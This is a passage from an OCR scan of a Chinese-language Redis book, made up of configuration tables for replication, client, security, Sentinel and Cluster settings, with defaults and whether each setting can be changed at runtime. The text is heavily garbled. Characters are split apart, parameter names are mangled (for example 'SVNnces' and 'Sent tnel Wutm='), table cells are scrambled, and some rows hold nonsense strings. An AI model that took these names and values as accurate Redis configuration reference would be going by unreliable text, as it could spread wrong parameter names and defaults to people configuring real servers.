slave-serve-stale-data 理 客 户 端的 请 求 。 和 否则 除 info 和 slaveof| yes yeslno 可 以 
命令 之 外 ， 拒 绝 的 所 有 请 求 并 统一 回复 
"SYNC with master in progress" 


从 节点 是 否 开 启 只 读 模式 ,集群 架构 
slave-read-only 下 从 节点 默认 读 写 都 不 可 用 ， 需 要 调用 | yes yeslno 可 以 
readonly 命令 开启 只 读 模 式 


( 续 ) 


可 否 支持 
配置 名 含义 默认 值 | 可 选 值 | config set 配 
置 热 生效 


是 否 开启 主 从 复制 socket 的 NO_DELAY 
选项 : 
yes : Redis 会 合并 小 的 TCP 包 来 节省 带 
repl-disable-tcp-nodela . pri 可 以 
i 2 Y | 宽 ， 但 是 这 样 增加 同步 延迟 ， 造 成 主 从 数 an 
据 不 一 致 
no: 主 节 点 会 立即 发 送 同步 数据 ， 没 有 延迟 


repl-diskless-sync 是 否 开启 无 盘 复 制 [a ee | ee 

开启 无 盘 复 制 后 ， 需 要 延迟 多 少 秒 后 进 

repl-diskless-sync-delay | 行 创建 RDB 操作 ， 一 般 用 于 同时 加 入 多 个 
从 节点 时 ， 保 证 多 个 从 节点 可 共享 RDB 







repl-backlog-tt1 
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14.2.8 ”客户 端 相 关 配 置 


表 14-19 是 Redis 客 户 端 的 相关 配置 ， 第 4 章 有 详细 介绍 。 





表 14-19 ”客户 端 相关 配置 


可 否 支 持 confi 
配置 名 . 
set 配置 热 生效 
maxclients 可 以 
、 normal 0 0 0 slave 268435456 
(eS 六 a Eo 人 
客户 端 输出 缓冲 区 限制 67108864 60 pubsub 33554432 | 整 炎 可 以 


buffer-limit 


8388608 60 


客户 端 闲置 多 少 秒 后 关闭 cd 


人 :fe 雪 活 人 二 | EF 
tcp-keepalive Ie 种 作 站 月 二 (不 检测 ) 可 以 
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14.2.9 ”安全 相关 配置 


表 14-20 是 Redis 安 全 的 相关 配置 ， 第 12 章 有 详细 介绍 。 


表 14-20 ”安全 相关 配置 





requirepass 可 以 
bind 不 可 以 
masterauth 可 以 
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14.3 Sentine] 配 置 说 明和 分 析 


Sentinel 节 点 是 特殊 的 Redis 节 点 ， 有 几 个 特殊 的 配置 ， 如 表 14-21 所 示 。 


表 14-21 Redis Sentinel 节 点 配置 说 明 
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参数 名 


Sentinel monitor 
<master-name> <ip> 


<port> <quorum> 


sentinel down- 
after-milliseconds 


<master-name> <times> 


sentinel parallel- 
SVNnces <master-name> 


<nums> 


sentinel failover- 
timeout <master-name> 


<times> 


Sent tnel Wutm= 
pass <master—nanmt> 


<password> 


Et = 
catlion-Seript, nas= 
ter-name> <script- 


path> 


sentinel client- 
reconfig-script <mas- 
ter-name> <script- 
path> 


含义 默认 值 可 选 值 


定义 监控 的 主 节点 
名 、ip、port、 主 观 下 


sentinel monitor my| 自 定 义 masterName 
master 127.0.0.1 6379 2 实际 的 ip:port 票数 


sentinel down-after- 
Sentinel 判定 节点 


不 可 达 的 毫秒 数 


milliseconds mymaster 
30 000 


在 执行 故障 转移 
时 ， 最 多 有 和 多少 个 从 | sentinel parallel-syncs | 大 于 0, 不 超过 从 
服务 器 同时 对 新 的 主 | mymaster 1 服务 器 个 数 
服务 器 进行 同步 


sentinel failover-timeout 


故障 迁移 超时 时 间 mymaster 180 000 


故障 转移 期 间 脚本 


通知 脚本 文件 路 径 


故障 转移 成 功 后 脚 


本 通知 脚本 文件 路 径 
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可 否 支 持 
sentinel set 


配置 热 生 效 


支持 


<quorum> 


支持 


支持 


支持 


支持 


14.4 ” Cluster 配置 说 明和 分 析 


Cluster 节 点 是 特殊 的 Redis 节 点 ， 有 几 个 特殊 的 配置 ， 如 表 14-22 所 示 。 


表 14-22 Redis Cluster 配 置 说 明 





可 否 支 持 config 

参数 名 set 配置 热 生效 
cluster-node-timeout 可 以 
cluster-migration- 主 从 节点 切换 需要 的 从 节点 数 最 可 以 

barrier 小 个 数 
( 续 ) 
可 否 支 持 config 
参数 名 set 配置 热 生效 






从 节点 有 效 性 判断 因子 ， 当 从 
节点 与 主 节点 最 后 通信 时 间 超 过 
(cluster-node-timeout * 
Sl Beer SS Laver- | Slave ValidiLty faeE0r) 
i ; , 整数 可 以 

validity~factor repl-ping-slave-period 时 ， 
对 应 从 节点 不 具备 故障 转移 资格 ， 防 
止 断 线 时 间 过 长 的 从 节点 进行 故障 转 

移 。 设置 为 0 表示 从 节点 永 不 过 期 


cluster-require-| 集群 是 否 需 要 所 有 的 slot 都 分 配 > 
Ra i yes yeslno 可 以 
full-coverage 给 在 线 节点 ， 才 能 正常 访问 
cluster-config-file 集群 配置 文件 名 称 nodes-{port}.conf | 不 可 以 
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